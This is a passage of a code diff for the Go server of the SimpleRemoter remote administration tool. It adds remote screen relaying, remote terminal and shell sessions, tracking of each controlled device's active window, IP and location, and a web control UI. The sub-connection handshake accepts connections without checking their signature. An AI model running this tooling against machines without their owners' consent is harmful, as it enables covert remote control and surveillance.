| `COMMAND_SCREEN_CONTROL` | 20 | 鼠标 / 键盘输入MSG64 批次) |
| `COMMAND_NEXT` | 30 | 解除客户端读线程阻塞 |
| `COMMAND_SHELL` | 40 | 请求开启 shell 子连接 |
| `CMD_TERMINAL_RESIZE` | 81 | PTY 尺寸 (cols / rows int16 LE) |
| `COMMAND_BYE` | 204 | 优雅断开屏幕 / 终端 |
| `CMD_MASTERSETTING` | 215 | 主控配置 + HMAC 签名 (1000B) |
| `CMD_HEARTBEAT_ACK` | 216 | 心跳响应(携带 Authorized 字段) |
| `TOKEN_CONN_AUTH` | 246 | 子连接身份握手响应 (256B) |
未列出的命令字节会被记录为 Debug 日志,按需扩展。
## 快速开始
@@ -67,24 +109,49 @@ go mod tidy
### 编译
推荐用 Makefile编译前会自动从 `server/web/` 同步 HTML 到 `web/assets/`
```bash
go build -o simpleremoter-server ./cmd
make build # 当前平台
make windows # Windows amd64
make linux # Linux amd64
```
也可以直接用 `go build`,但要先手动 sync
```bash
make sync && go build -o simpleremoter-server ./cmd
```
VSCode F5 调试时由 `sync-web-assets` preLaunchTask 自动同步。
### 运行
```bash
./simpleremoter-server
```
服务器默认监听 6543 端口,日志输出`logs/server.log`
默认监听 TCP 端口 `6543`被控设备HTTP 端口 `8080`(浏览器 Web UI。日志写`logs/server.log`
### 命令行参数
| 参数 | 默认值 | 说明 |
| ---- | ------ | ---- |
| `-port` / `-p` | `6543` | TCP 监听端口,分号分隔可多端口(如 `6543;6544` |
| `-http-port` | `8080` | HTTP 监听端口Web UI`0` 禁用 |
| `-no-console` | `false` | 关闭控制台输出(守护进程模式) |
### 环境变量
| 变量 | 说明 | 示例 |
|------|------|------|
| ---- | ---- | ---- |
| `YAMA_PWDHASH` | 密码的 SHA256 哈希值 (64位十六进制) | `61f04dd6...` |
| `YAMA_PWD` | 超级密码,用于 HMAC 签名验证 | `your_super_password` |
| `YAMA_PWD` | 超级密码,用于 HMAC 签名验证;也作为 Web admin 密码的默认来源 | `your_super_password` |
| `YAMA_WEB_ADMIN_PASS` | Web UI 的 admin 密码(明文);优先于 `YAMA_PWD`。两者都未设置时 Web 登录禁用 | `your_admin_password` |
| `YAMA_SIGN_PASSWORD` | HMAC-SHA256 key used to sign CMD_MASTERSETTING replies; must match the client's expected value. Provision out-of-band. Unset → client refuses screen/file ops. | `<deployment-shared-secret>` |
| `YAMA_USERS_FILE` | Path to the JSON file that persists non-admin web users (allowed_groups, password hash, salt). Default is `users.json` in the working directory. | `users.json` |
| `YAMA_WEB_ALLOWED_ORIGINS` | Comma-separated WebSocket Origin allowlist for cross-origin upgrades. Empty (default) → only same-origin upgrades are accepted, which is correct when the web UI and `/ws` share a host. Add an entry per trusted PWA / dev origin. | `https://yama.example.com,https://yama-mobile.example.com` |
| `YAMA_WEB_TRUST_PROXY` | Set to `1` only when running behind a reverse proxy you control (caddy / nginx / cloudflare). Switches client-IP extraction to use the last entry of `X-Forwarded-For` instead of `RemoteAddr`, so per-IP login rate limit sees the real client. Direct-exposure deployments MUST leave this unset — otherwise attackers can spoof the header to evade rate limits. | `1` |
```bash
# Linux/macOS
@@ -100,6 +167,10 @@ $env:YAMA_PWD="your_super_password"
## 使用示例
完整的 TCP + Hub + Web 集成示例就是 [`cmd/main.go`](cmd/main.go),那是程序入口本身、也是最权威的范例 —— 包含 handler 装配、hub 注册、web HTTP/WS 服务、信号优雅关闭等。
如果只想用 TCP 框架做自定义服务端(不要 Web/Hub最小示例如下
```go
package main
@@ -114,57 +185,32 @@ import (
"github.com/yuanyuanxiang/SimpleRemoter/server/go/server"
)
// 实现 Handler 接口
type MyHandler struct {
log *logger.Logger
}
func (h *MyHandler) OnConnect(ctx *connection.Context) {
h.log.ClientEvent("online", ctx.ID, ctx.GetPeerIP())
}
func (h *MyHandler) OnDisconnect(ctx *connection.Context) {
h.log.ClientEvent("offline", ctx.ID, ctx.GetPeerIP())
}
type MyHandler struct{ log *logger.Logger }
func (h *MyHandler) OnConnect(ctx *connection.Context) {}
func (h *MyHandler) OnDisconnect(ctx *connection.Context) {}
func (h *MyHandler) OnReceive(ctx *connection.Context, data []byte) {
if len(data) == 0 {
return
}
cmd := data[0]
switch cmd {
case protocol.TokenLogin:
if data[0] == protocol.TokenLogin {
info, _ := protocol.ParseLoginInfo(data)
h.log.Info("Client login: %s (%s)", info.PCName, info.OsVerInfo)
case protocol.TokenHeartbeat:
h.log.Debug("Heartbeat from client %d", ctx.ID)
h.log.Info("login: %s (%s)", info.PCName, info.OsVerInfo)
}
}
func main() {
// 配置日志 (控制台 + 文件)
logCfg := logger.DefaultConfig()
logCfg.File = "logs/server.log"
log := logger.New(logCfg)
// 配置服务器
config := server.DefaultConfig()
config.Port = 6543
// 创建并启动服务器
srv := server.New(config)
log := logger.New(logger.DefaultConfig())
srv := server.New(server.DefaultConfig())
srv.SetLogger(log.WithPrefix("Server"))
srv.SetHandler(&MyHandler{log: log})
if err := srv.Start(); err != nil {
log.Fatal("启动失败: %v", err)
log.Fatal("start: %v", err)
}
// 等待退出信号
sigChan := make(chan os.Signal, 1)
signal.Notify(sigChan, syscall.SIGINT, syscall.SIGTERM)
<-sigChan
sig := make(chan os.Signal, 1)
signal.Notify(sig, syscall.SIGINT, syscall.SIGTERM)
<-sig
srv.Stop()
}
```
@@ -250,7 +296,7 @@ func main() {
| bWebCamExist | 448 | 4 | 是否有摄像头 |
| dwSpeed | 452 | 4 | 网速 |
| szStartTime | 456 | 20 | 启动时间 |
| szReserved | 476 | 512 | 扩展字段 (用`|`分隔) |
| szReserved | 476 | 512 | 扩展字段(多字段以 `\|` 分隔 |
### Heartbeat 结构
@@ -374,15 +420,19 @@ publicIP := info.GetReservedField(11) // 公网 IP
## 与 C++ 版本对比
| 特性 | C++ (IOCP) | Go |
|------|------------|-----|
| ---- | ---- | ---- |
| 并发模型 | IOCP + 线程池 | Goroutine 池 |
| 压缩算法 | ZSTD | ZSTD |
| 跨平台 | Windows | 全平台 |
| 内存管理 | 手动 | GC |
| 代码复杂度 | 高 | 低 |
| 协议头解密 | 8种方式 | 8种方式 |
| XOR编码 | XOREncoder16 | XOREncoder16 |
| 字符编码 | GBK | GBK -> UTF-8 |
| 压缩 / XOR / 头加密 | 完整 8 套加密方式 + XOREncoder16 + ZSTD | 完全对齐 |
| 字符编码 | GBK | UTF-8 直通 / GBK→UTF-8 (按客户端能力位) |
| 设备列表与监控 | MFC 列表控件 | Web UI |
| Web 远程桌面 | 内嵌浏览器 + H.264 | 完全对齐WebCodecs 解码) |
| 鼠标键盘转发 | 已实现 | 完全对齐 |
| Web 终端 | 内嵌 xterm.js + ConPTY | 完全对齐(含旧 cmd-pipe 兼容) |
| 用户 / 分组管理 | 已实现 | users.json schema 互通 |
| 文件传输 / 摄像头 / 录音 等 | 已实现 | 暂未实现(按需扩展) |
## 依赖

View File

@@ -1,6 +1,7 @@
package main
import (
"encoding/binary"
"flag"
"fmt"
"os"
@@ -8,19 +9,25 @@ import (
"strconv"
"strings"
"syscall"
"time"
"github.com/yuanyuanxiang/SimpleRemoter/server/go/auth"
"github.com/yuanyuanxiang/SimpleRemoter/server/go/connection"
"github.com/yuanyuanxiang/SimpleRemoter/server/go/hub"
"github.com/yuanyuanxiang/SimpleRemoter/server/go/logger"
"github.com/yuanyuanxiang/SimpleRemoter/server/go/protocol"
"github.com/yuanyuanxiang/SimpleRemoter/server/go/server"
"github.com/yuanyuanxiang/SimpleRemoter/server/go/web"
"github.com/yuanyuanxiang/SimpleRemoter/server/go/wsauth"
)
// MyHandler implements the server.Handler interface
type MyHandler struct {
log *logger.Logger
auth *auth.Authenticator
srv *server.Server
log *logger.Logger
auth *auth.Authenticator
srv *server.Server
hub *hub.Hub
signPwd string // HMAC key for CMD_MASTERSETTING signatures (YAMA_SIGN_PASSWORD)
}
// OnConnect is called when a client connects
@@ -30,12 +37,34 @@ func (h *MyHandler) OnConnect(ctx *connection.Context) {
// OnDisconnect is called when a client disconnects
func (h *MyHandler) OnDisconnect(ctx *connection.Context) {
// Always clean up any sub-context mapping first — the connection may
// be a screen / terminal sub-conn rather than a main login connection.
// Both Unbind* calls are no-ops if not tracked. UnbindTerminalConn
// also fires OnTerminalClosed so the browser sees the session end on
// unexpected device-side drops.
h.hub.UnbindScreenConn(ctx)
h.hub.UnbindTerminalConn(ctx)
info := ctx.GetInfo()
if info.ClientID != "" {
// Only treat this disconnect as a device-going-offline event if this
// ctx is the device's MAIN login connection. Phase 6 added ClientID
// pinning to sub-conns (via ConnAuth — needed for terminal routing),
// so a non-empty ClientID alone no longer distinguishes main from
// sub. Closing a screen / terminal sub-conn must NOT remove the
// device from the hub.
if info.ClientID != "" && h.hub.MainConn(info.ClientID) == ctx {
h.log.ClientEvent("offline", ctx.ID, ctx.GetPeerIP(),
"clientID", info.ClientID,
"computer", info.ComputerName,
)
// Tear down any active sub-conn sessions BEFORE Unregister so the
// browser sees screen/terminal close events alongside the
// device-offline event, instead of frames/output continuing to
// stream from orphaned sub-conn ctxs until they time out on
// their own. Both calls no-op if there's no active session.
h.hub.CloseScreen(info.ClientID)
h.hub.CloseTerminalSession(info.ClientID)
h.hub.Unregister(info.ClientID)
}
}
@@ -45,6 +74,27 @@ func (h *MyHandler) OnReceive(ctx *connection.Context, data []byte) {
return
}
// Terminal-bound sub-conns deliver RAW shell output with no leading
// command byte — see client/ConPTYManager.cpp:328 (Send2Server with
// just the buffer). We must short-circuit BEFORE the command switch
// or the first output byte will be misinterpreted as a token.
// Exception: a length-1 packet whose byte is TOKEN_TERMINAL_CLOSE
// is the device's "shell exited" notification, NOT data.
if devID := h.hub.TerminalDeviceID(ctx); devID != "" {
if len(data) == 1 && data[0] == protocol.TokenTerminalClose {
h.log.Info("terminal closed by device=%s conn=%d", devID, ctx.ID)
h.hub.CloseTerminalSession(devID)
return
}
// Wrap with the 'TRM1' magic the browser uses to demultiplex
// terminal output from screen frames over the shared WS.
packet := make([]byte, 4+len(data))
copy(packet[:4], protocol.TerminalBinaryMagic[:])
copy(packet[4:], data)
h.hub.PublishTerminalData(devID, packet)
return
}
cmd := data[0]
// Handle commands
switch cmd {
@@ -54,12 +104,231 @@ func (h *MyHandler) OnReceive(ctx *connection.Context, data []byte) {
h.handleAuth(ctx, data)
case protocol.TokenHeartbeat:
h.handleHeartbeat(ctx, data)
case protocol.TokenConnAuth:
h.handleConnAuth(ctx, data)
case protocol.TokenBitmapInfo:
h.handleBitmapInfo(ctx, data)
case protocol.TokenTerminalStart:
h.handleTerminalStart(ctx, true)
case protocol.TokenShellStart:
h.handleTerminalStart(ctx, false)
case protocol.TokenTerminalClose:
// Pre-bind close (rare — device gives up before the server
// finished its half of the handshake). Best-effort cleanup.
if devID := h.deviceIDOfSubConn(ctx); devID != "" {
h.log.Info("pre-bind terminal close: device=%s conn=%d", devID, ctx.ID)
h.hub.CloseTerminalSession(devID)
}
case protocol.TokenFirstScreen:
// TOKEN_FIRSTSCREEN delivers a RAW BGRA baseline frame, not an
// H264 unit — bytes ≈ width × height × 4. The C++ MFC dialog
// blits it directly into a DIB; web viewers only consume H264 NAL
// data, so dropping it here is correct. The first real H264 IDR
// arrives shortly after via TOKEN_NEXTSCREEN.
case protocol.TokenNextScreen:
h.handleScreenFrame(ctx, data, false)
case protocol.TokenKeyframe:
// Sent by the client only when frameID % m_GOP == 0; the client's
// DEFAULT_GOP is 0x7FFFFFFF (effectively infinite), so this token
// is essentially unused in practice. Treat as a no-op for now —
// IDRs always arrive in-band via TOKEN_NEXTSCREEN and we catch
// them via the H264 NAL scan in handleScreenFrame.
case protocol.CmdCursorImage:
// Custom cursor bitmaps — relayed in Phase 5+ when the web cursor
// overlay learns to render arbitrary BGRA images. Drop silently for
// now; the standard IDC_* index (data[10] of every frame header) is
// what we actually use right now.
default:
// Other commands are not implemented yet
h.log.Info("Unhandled command %d from client %d", cmd, ctx.ID)
}
}
// handleConnAuth answers a sub-connection identity handshake. Every sub-conn
// the client opens (screen, terminal, file, ...) sends a 512-byte
// ConnAuthPacket as its very first payload and blocks for up to 10 s waiting
// on our 256-byte ConnAuthAck. Without an OK reply the client closes the
// connection, so a missing ack here means nothing else can proceed.
//
// The handshake includes an HMAC signature field. The reference server
// treats verification failures as soft (logs and still allows commands),
// and the signing primitive lives in a vendored component out of scope
// for this server, so we always reply OK and let TOKEN_BITMAPINFO carry
// the device ID via offset 41 when the screen sub-conn proceeds.
func (h *MyHandler) handleConnAuth(ctx *connection.Context, data []byte) {
// Pin the parent device's ClientID onto the sub-conn. Without this,
// later 1-byte tokens (TOKEN_TERMINAL_START / TOKEN_SHELL_START) have
// no way to identify which device they belong to — they carry no
// clientID themselves. ConnAuthPacket layout has clientID at offset 1
// (uint64 LE); see common/commands.h::ConnAuthPacket.
if len(data) >= protocol.ConnAuthOffClientID+8 {
clientID := binary.LittleEndian.Uint64(
data[protocol.ConnAuthOffClientID : protocol.ConnAuthOffClientID+8])
if clientID != 0 {
// Sub-conns never go through handleLogin, so their ctx.Info
// is otherwise empty. We only need ClientID for routing.
info := ctx.GetInfo()
info.ClientID = strconv.FormatUint(clientID, 10)
ctx.SetInfo(info)
}
}
ack := make([]byte, protocol.ConnAuthAckSize)
ack[0] = protocol.TokenConnAuth
ack[protocol.ConnAuthAckOffStatus] = protocol.ConnAuthStatusOK
binary.LittleEndian.PutUint64(
ack[protocol.ConnAuthAckOffServerTime:protocol.ConnAuthAckOffServerTime+8],
uint64(time.Now().Unix()))
if err := h.srv.Send(ctx, ack); err != nil {
h.log.Error("ConnAuth ack send failed for conn=%d: %v", ctx.ID, err)
}
}
// deviceIDOfSubConn resolves the parent device of a sub-conn from the
// ClientID pinned by handleConnAuth. Returns "" for the rare case of a
// legacy client that skipped ConnAuth (the Go server's only target is
// modern clients, so this is effectively a paranoia check).
func (h *MyHandler) deviceIDOfSubConn(ctx *connection.Context) string {
return ctx.GetInfo().ClientID
}
// handleTerminalStart fires when the device's freshly-spawned shell
// sub-conn announces itself. TOKEN_TERMINAL_START (232) means PTY mode
// (Linux/macOS or Windows ConPTY); TOKEN_SHELL_START (128) means the
// legacy Windows cmd-pipe path. Both packets are 1-byte tokens — the
// device identity comes from ConnAuth's pinned ClientID.
//
// After binding we send:
// - For PTY only: an initial CMD_TERMINAL_RESIZE 80x24 so the shell
// doesn't render at the PTY default before the browser's first fit.
// vim/htop look broken otherwise. The browser will follow up with a
// real term_resize once xterm.js sizes the canvas.
// - Always: COMMAND_NEXT to unblock the device's read thread (the
// ConPTYManager ReadThread sits on m_hEventDlgOpen until then —
// see client/ConPTYManager.cpp:259).
func (h *MyHandler) handleTerminalStart(ctx *connection.Context, isPTY bool) {
devID := h.deviceIDOfSubConn(ctx)
if devID == "" {
h.log.Warn("terminal start with no clientID: conn=%d", ctx.ID)
ctx.Close()
return
}
if !h.hub.BindTerminalConn(devID, ctx, isPTY) {
// No pending session — this is a stale sub-conn (e.g. browser
// gave up and closed term_close already). Drop it.
h.log.Warn("orphan terminal sub-conn: device=%s conn=%d isPTY=%v",
devID, ctx.ID, isPTY)
ctx.Close()
return
}
if isPTY {
if err := h.srv.Send(ctx, protocol.BuildTerminalResize(80, 24)); err != nil {
h.log.Error("initial resize send failed: conn=%d: %v", ctx.ID, err)
}
}
if err := h.srv.Send(ctx, []byte{protocol.CommandNext}); err != nil {
h.log.Error("COMMAND_NEXT send failed on terminal: conn=%d: %v", ctx.ID, err)
}
h.log.Info("terminal bound: device=%s conn=%d isPTY=%v", devID, ctx.ID, isPTY)
}
// handleBitmapInfo is the first packet on a freshly-arrived screen
// sub-connection. Packet layout (after the command byte at data[0]):
//
// [BITMAPINFOHEADER:40][clientID:8 uint64 LE][dlgID:8 uint64 LE][...]
//
// So clientID lives at data[41..49] and dlgID at data[49..57]. We use
// clientID (= MasterID) to bind this sub-context to its parent device.
func (h *MyHandler) handleBitmapInfo(ctx *connection.Context, data []byte) {
if len(data) < 49 {
h.log.Warn("TOKEN_BITMAPINFO from conn %d too short (%d bytes)", ctx.ID, len(data))
return
}
clientID := uint64(data[41]) | uint64(data[42])<<8 | uint64(data[43])<<16 | uint64(data[44])<<24 |
uint64(data[45])<<32 | uint64(data[46])<<40 | uint64(data[47])<<48 | uint64(data[48])<<56
deviceID := strconv.FormatUint(clientID, 10)
if !h.hub.BindScreenConn(deviceID, ctx) {
// Device not registered — main login hasn't happened (or device just
// went offline). Drop the orphan sub-conn rather than leak it.
h.log.Warn("orphan screen sub-conn %d for unknown device %s; closing", ctx.ID, deviceID)
ctx.Close()
return
}
// BITMAPINFOHEADER starts at data[1]. biWidth at offset 4, biHeight at
// offset 8 (both int32 LE). biHeight may be negative for top-down DIBs.
width := int(int32(binary.LittleEndian.Uint32(data[5:9])))
height := int(int32(binary.LittleEndian.Uint32(data[9:13])))
if height < 0 {
height = -height
}
h.log.Info("screen sub-conn bound: conn=%d device=%s resolution=%dx%d",
ctx.ID, deviceID, width, height)
h.hub.PublishResolution(deviceID, width, height)
// Notify the client its "dialog is open" so it stops blocking in
// Manager::WaitForDialogOpen (client/Manager.cpp:259). Without this
// the client waits a full 8 s timeout before it begins streaming
// real H264 frames via TOKEN_NEXTSCREEN. 32-byte packet matches the
// C++ CScreenSpyDlg::SendNext layout:
// [0]=COMMAND_NEXT [1..9]=dlgID uint64 [9..13]=capabilities uint32
// [13..17]=scrollInterval int32 [17..32]=zero reserved
// We don't need scroll-detect / a real dlgID, so leave them zero.
nextCmd := make([]byte, 32)
nextCmd[0] = protocol.CommandNext
if err := h.srv.Send(ctx, nextCmd); err != nil {
h.log.Error("COMMAND_NEXT send failed for conn=%d: %v", ctx.ID, err)
}
}
// handleScreenFrame relays one TOKEN_FIRSTSCREEN / TOKEN_NEXTSCREEN packet
// to all browsers watching this device. The on-the-wire packet starts with
// the token byte then a small fixed header (algorithm, cursor pos, cursor
// index) before the H.264 NAL payload. The browser-facing WS packet uses
// the C++-compatible layout: [deviceID:4 LE][frameType:1][dataLen:4 LE][H264:N].
//
// alwaysKey=true is used for TOKEN_FIRSTSCREEN (always IDR by construction);
// TOKEN_NEXTSCREEN is keyframe iff the NAL stream contains a 5/7/8 unit.
func (h *MyHandler) handleScreenFrame(ctx *connection.Context, data []byte, alwaysKey bool) {
deviceID := h.hub.ScreenDeviceID(ctx)
if deviceID == "" {
return // not a bound screen sub-conn — drop
}
// data[0] is the token; the 11-byte header sits at data[1..12].
const skip = 1 + protocol.ScreenFrameHeaderLen
if len(data) <= skip {
return
}
// Cursor index lives at the last byte of the small per-frame header
// (offset 1 + 1 + 8 = 10). Publish before the heavy frame work so the
// browser sees cursor updates even if we end up dropping frames later.
h.hub.PublishCursor(deviceID, data[10])
h264 := data[skip:]
isKey := alwaysKey || protocol.IsH264Keyframe(h264)
// Build the WS packet exactly as the C++ ScreenSpyDlg does — the front-end
// decoder reads these offsets directly.
id64, _ := strconv.ParseUint(deviceID, 10, 64)
idLow := uint32(id64)
frameType := byte(0)
if isKey {
frameType = 1
}
dataLen := uint32(len(h264))
packet := make([]byte, 9+len(h264))
binary.LittleEndian.PutUint32(packet[0:4], idLow)
packet[4] = frameType
binary.LittleEndian.PutUint32(packet[5:9], dataLen)
copy(packet[9:], h264)
h.hub.PublishScreenFrame(deviceID, packet, isKey)
}
// handleLogin handles client login (TOKEN_LOGIN = 102)
func (h *MyHandler) handleLogin(ctx *connection.Context, data []byte) {
info, err := protocol.ParseLoginInfo(data)
@@ -68,8 +337,18 @@ func (h *MyHandler) handleLogin(ctx *connection.Context, data []byte) {
return
}
// Use MasterID from login request as ClientID for logging
clientID := info.MasterID
// The device's unique ID lives in reserved field 16 (RES_CLIENT_ID) as a
// decimal string of a uint64 — the same number the device later puts at
// offset 41 of TOKEN_BITMAPINFO. Using szMasterID here is WRONG: it is a
// compile-time MASTER_HASH constant shared by every binary built from
// the same source, so all clients would collide in the hub.
clientID := info.GetReservedField(protocol.ResFieldClientID)
if clientID == "" || clientID == "0" {
// Legacy fallback (very old clients that don't fill RES_CLIENT_ID).
// MasterID is still preferable to a per-connection number because it
// at least stays stable across reconnects of the same binary.
clientID = info.MasterID
}
if clientID == "" {
clientID = fmt.Sprintf("conn-%d", ctx.ID)
}
@@ -86,17 +365,17 @@ func (h *MyHandler) handleLogin(ctx *connection.Context, data []byte) {
}
// Parse additional info from reserved field
if len(reserved) > 0 {
clientInfo.ClientType = info.GetReservedField(0)
if len(reserved) > protocol.ResFieldClientType {
clientInfo.ClientType = info.GetReservedField(protocol.ResFieldClientType)
}
if len(reserved) > 2 {
clientInfo.CPU = info.GetReservedField(2)
}
if len(reserved) > 4 {
clientInfo.FilePath = info.GetReservedField(4)
if len(reserved) > protocol.ResFieldFilePath {
clientInfo.FilePath = info.GetReservedField(protocol.ResFieldFilePath)
}
if len(reserved) > 11 {
clientInfo.IP = info.GetReservedField(11) // Public IP
if len(reserved) > protocol.ResFieldClientPubIP {
clientInfo.IP = info.GetReservedField(protocol.ResFieldClientPubIP)
}
ctx.SetInfo(clientInfo)
@@ -109,6 +388,82 @@ func (h *MyHandler) handleLogin(ctx *connection.Context, data []byte) {
"version", info.ModuleVersion,
"path", clientInfo.FilePath,
)
// PCName carries "ComputerName/Group"; ModuleVersion carries "Version-Capability".
// strings.Cut returns the full string as the head when the separator is
// absent, which gives us the natural "no group / no capability" fallback.
name, group, _ := strings.Cut(info.PCName, "/")
version, capability, _ := strings.Cut(info.ModuleVersion, "-")
// Client-reported geo string (RES_CLIENT_LOC).
location := ""
if len(reserved) > protocol.ResFieldClientLoc {
location = info.GetReservedField(protocol.ResFieldClientLoc)
}
// RES_RESOLUTION is already formatted by the client as "N:W*H"
// (see client/LoginServer.cpp:414). Pass through unchanged so the web
// UI's device card renders it next to the version label.
resolution := ""
if len(reserved) > protocol.ResFieldResolution {
resolution = info.GetReservedField(protocol.ResFieldResolution)
}
// Register with hub so the web side can list this device. Sub-connections
// (screen / terminal etc.) reuse the MasterID and will overwrite this entry
// harmlessly, but only the main login carries enough info to be useful here.
h.hub.Register(&hub.Device{
ID: clientID,
Name: name,
Group: group,
Version: version,
Capability: capability,
OS: info.OsVerInfo,
CPU: clientInfo.CPU,
FilePath: clientInfo.FilePath,
InstallTime: info.StartTime,
Location: location,
Resolution: resolution,
PeerIP: ctx.GetPeerIP(),
PublicIP: clientInfo.IP,
ConnectedAt: time.Now(),
}, ctx)
// Push CMD_MASTERSETTING with a signature over "StartTime|ClientID".
// The client's private FileUpload init verifies this before allowing
// screen / file operations — without it the binary aborts itself.
h.sendMasterSetting(ctx, info.StartTime, clientID)
}
// sendMasterSetting builds the 1001-byte CMD_MASTERSETTING reply and ships it
// down the main TCP connection. Most fields stay zeroed — only Signature
// matters today. If no signing password is configured, a zeroed signature is
// still sent (and logged once) so the client at least sees a well-formed
// packet; in that case the client's private library will refuse to start
// screen / file features and abort.
func (h *MyHandler) sendMasterSetting(ctx *connection.Context, startTime, clientID string) {
buf := make([]byte, 1+protocol.MasterSettingsSize)
buf[0] = protocol.CmdMasterSetting
// ReportInterval (int32 LE at struct offset 0, +1 for the cmd byte).
// Sending 0 makes the client drop the active-window field of its
// heartbeat, which kills the web UI's live activeWindow updates.
binary.LittleEndian.PutUint32(
buf[1:5],
uint32(protocol.DefaultReportIntervalSec))
if h.signPwd == "" {
h.log.Warn("YAMA_SIGN_PASSWORD not set — client may abort on screen/file ops")
} else {
msg := startTime + "|" + clientID
sig := protocol.SignMessage(h.signPwd, []byte(msg))
// Signature[64] lives at offset 508 of the struct, +1 for the cmd byte.
const sigOffset = 1 + protocol.MasterSettingsOffSignature
copy(buf[sigOffset:sigOffset+protocol.MasterSettingsSignatureLen], []byte(sig))
}
if err := h.srv.Send(ctx, buf); err != nil {
h.log.Error("CMD_MASTERSETTING send failed for conn=%d: %v", ctx.ID, err)
}
}
// handleAuth handles authorization request (TOKEN_AUTH = 100)
@@ -159,13 +514,41 @@ func (h *MyHandler) handleHeartbeat(ctx *connection.Context, data []byte) {
uint64(data[5])<<32 | uint64(data[6])<<40 | uint64(data[7])<<48 | uint64(data[8])<<56
}
// Forward live fields (ActiveWnd + Ping) to the hub so the web UI can
// display current latency and foreground window per device. Skip until
// login has happened — the hub is keyed by MasterID, which only exists
// post-login.
if info := ctx.GetInfo(); info.ClientID != "" {
var rtt int32
var activeWindow string
// ActiveWnd at data[9..521] is a 512-byte NUL-padded string. Encoding
// depends on the client: new clients advertise CLIENT_CAP_UTF8 (bit
// 0x0002 in the moduleVersion hex tail) and ship UTF-8 directly;
// legacy Windows clients still use CP936 (GBK). Decoding UTF-8 bytes
// as GBK turns Chinese characters into mojibake — see the matching
// C++ guard at server/2015Remote/WebService.cpp:1530.
if len(data) >= 9+512 {
activeWindow = protocol.DecodeClientString(
data[9:9+512],
h.hub.Capability(info.ClientID),
info.ClientType,
)
}
// Ping at data[521..525] is a little-endian int32.
if len(data) >= 525 {
rtt = int32(uint32(data[521]) | uint32(data[522])<<8 |
uint32(data[523])<<16 | uint32(data[524])<<24)
}
h.hub.UpdateLive(info.ClientID, int(rtt), activeWindow)
}
// Authenticate heartbeat if it contains authorization info
// data[1:] skips the command byte to get the raw Heartbeat structure
var authorized byte = 0
if len(data) > 1 {
authResult := h.auth.AuthenticateHeartbeat(data[1:])
if authResult.Authorized {
authorized = 1
authorized = 2 // Auth by admin
// Log authorization success (only log once per connection to avoid spam)
if !ctx.IsAuthorized.Load() {
ctx.IsAuthorized.Store(true)
@@ -228,10 +611,32 @@ func parsePorts(portStr string) ([]int, error) {
return ports, nil
}
// splitCSV splits a comma-separated env-var value into trimmed, non-empty
// entries. Returns nil for an empty input so callers can keep the natural
// "no value → no restriction" semantics with a single nil check.
func splitCSV(s string) []string {
if s == "" {
return nil
}
parts := strings.Split(s, ",")
out := make([]string, 0, len(parts))
for _, p := range parts {
p = strings.TrimSpace(p)
if p != "" {
out = append(out, p)
}
}
if len(out) == 0 {
return nil
}
return out
}
func main() {
// Parse command line flags
portStr := flag.String("port", "6543", "Server listen ports (semicolon-separated, e.g. 6543;6544;6545)")
flag.StringVar(portStr, "p", "6543", "Server listen ports (shorthand)")
httpPort := flag.Int("http-port", 8080, "HTTP server port for web UI (0 to disable)")
noConsole := flag.Bool("no-console", false, "Disable console output (for daemon mode)")
flag.Parse()
@@ -267,6 +672,48 @@ func main() {
// Create authenticator (shared by all servers)
authenticator := auth.New(authCfg)
// Shared device registry — every TCP handler reports devices into it,
// the HTTP server reads from it.
deviceHub := hub.New()
// HMAC key used to sign the per-login CMD_MASTERSETTING reply. The
// client verifies this signature before enabling its screen / file
// features and aborts the process on mismatch. Kept in an env var so
// the literal stays out of the binary; provision out-of-band and
// never commit it.
signPwd := os.Getenv("YAMA_SIGN_PASSWORD")
if signPwd == "" {
log.Warn("YAMA_SIGN_PASSWORD not set; clients will refuse screen/file ops")
}
// Web user authenticator. Bootstrap admin from env var YAMA_WEB_ADMIN_PASS;
// if unset, fall back to YAMA_PWD (same secret the TCP authorization uses)
// so a single password env var is enough to bring up the whole stack.
// If neither is set, no admin is registered and login will always fail —
// the user must define a password before browsers can log in.
webAuth := wsauth.New()
adminPass := os.Getenv("YAMA_WEB_ADMIN_PASS")
if adminPass == "" {
adminPass = os.Getenv("YAMA_PWD")
}
if adminPass != "" {
webAuth.AddAdminFromPlainPassword("admin", adminPass)
log.Info("Web admin user configured")
} else {
log.Warn("Neither YAMA_WEB_ADMIN_PASS nor YAMA_PWD is set; web login will be unavailable")
}
// Persistent users live in users.json next to the binary's working dir
// — same default the C++ WebService uses (m_ConfigDir + "users.json").
// Loading is best-effort: a missing file means "no extra users yet".
usersFile := os.Getenv("YAMA_USERS_FILE")
if usersFile == "" {
usersFile = "users.json"
}
if err := webAuth.SetUsersFile(usersFile); err != nil {
log.Warn("Failed to load %s: %v (continuing with admin only)", usersFile, err)
}
// Create servers for each port
var servers []*server.Server
for _, port := range ports {
@@ -279,23 +726,69 @@ func main() {
// Create handler for this server
handler := &MyHandler{
log: log.WithPrefix(fmt.Sprintf("Handler:%d", port)),
auth: authenticator,
srv: srv,
log: log.WithPrefix(fmt.Sprintf("Handler:%d", port)),
auth: authenticator,
srv: srv,
hub: deviceHub,
signPwd: signPwd,
}
srv.SetHandler(handler)
servers = append(servers, srv)
}
// Start all servers
// Wire the hub's outbound sender once all TCP servers exist. Any server's
// Send method will do — the per-connection encoder uses ctx-local state
// and is independent of which server originally accepted the connection.
if len(servers) > 0 {
s := servers[0]
deviceHub.SetSender(func(ctx *connection.Context, data []byte) error {
return s.Send(ctx, data)
})
}
// Start all TCP servers
for _, srv := range servers {
if err := srv.Start(); err != nil {
log.Fatal("Failed to start server: %v", err)
}
}
// Web-UI hardening knobs for public-HTTPS deployment.
//
// YAMA_WEB_ALLOWED_ORIGINS: comma-separated Origin allowlist (e.g.
// "https://yama.example.com,https://yama-mobile.example.com").
// Empty (default) → only same-origin WS upgrades accepted, which
// is correct when the web UI and WS endpoint share a host.
//
// Login rate limits are hard-coded at sensible defaults for the
// small-user web UI: 10 attempts / minute per IP, 5 / 15 min per
// username. The handler also injects a 250 ms delay on every failure
// so online brute force is impractical even within budget.
allowedOrigins := splitCSV(os.Getenv("YAMA_WEB_ALLOWED_ORIGINS"))
trustProxy := os.Getenv("YAMA_WEB_TRUST_PROXY") == "1"
if trustProxy {
log.Info("Trusting X-Forwarded-For for client IP — make sure a reverse proxy is in front")
}
webCfg := web.Config{
AllowedOrigins: allowedOrigins,
LoginIPLimit: wsauth.NewRateLimiter(10, time.Minute),
LoginUserLimit: wsauth.NewRateLimiter(5, 15*time.Minute),
TrustForwardedFor: trustProxy,
}
// Start HTTP server for web UI. Hub gives it read-only access to the
// device registry; the authenticator owns user accounts and session tokens.
